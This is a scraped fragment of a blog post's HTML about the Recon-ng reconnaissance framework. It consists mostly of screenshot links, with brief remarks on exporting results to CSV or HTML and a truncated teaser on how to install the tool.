href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYK7t3HynTk_SOkoQGz9rmKN6hUjkkhR-LtdaguX8pTeij7cHcbxSK48cYp3LkVB8mA0vRUcYYt8up3f4kcAG1CAmkR1nMGhWDzUOiL6n2tDswtthX_KSIpC2LQYto01gRHDaSNziwE5yb/s1600/recon-ng4.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Recon-ng-4" border="0" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYK7t3HynTk_SOkoQGz9rmKN6hUjkkhR-LtdaguX8pTeij7cHcbxSK48cYp3LkVB8mA0vRUcYYt8up3f4kcAG1CAmkR1nMGhWDzUOiL6n2tDswtthX_KSIpC2LQYto01gRHDaSNziwE5yb/s400/recon-ng4.jpeg" title="Recon-ng-4" width="400" /></a></div><br /></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; orphans: 2; widows: 2;"><span style="font-size: medium;"><span style="font-family: Bitstream Charter, serif;"> <style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } </style> </span></span></div>--> <br /><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Recon-ng gives us also the ability to extract the results in CSV format or in an HTML file.</span></span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsLVPiet-ZIAGShoajIC4KzWWGTlGkCvi8ble0hH-Ae9kUrjqQ1A7GbGO0uarf0NsjEWcn6JT8sDw4C7Qt-9yYVI_7_fhrNsXrEczBfA57FcwD1KrsOTesjbWeuFvwleRg0ZN0U9yOE60R/s1600/recon-ng5.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Recon-ng-5" border="0" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsLVPiet-ZIAGShoajIC4KzWWGTlGkCvi8ble0hH-Ae9kUrjqQ1A7GbGO0uarf0NsjEWcn6JT8sDw4C7Qt-9yYVI_7_fhrNsXrEczBfA57FcwD1KrsOTesjbWeuFvwleRg0ZN0U9yOE60R/s400/recon-ng5.jpeg" title="Recon-ng-5" width="400" /></a></div><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span><br /><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in }</style> <style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } </style> </div>--> <br /><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">This tool is really simple to use and it holds every result in its database for later use.The report that generates is well formatted and if in the future additional modules will added on the framework<span style="font-size: medium;">.</span></span></span></span></div></div>

How to install & use Recon-ng?

Recon-ng is a true framework whose interface is modeled after the very popular and powerful Metasploit Framework. Complete with independent...

+ Read more »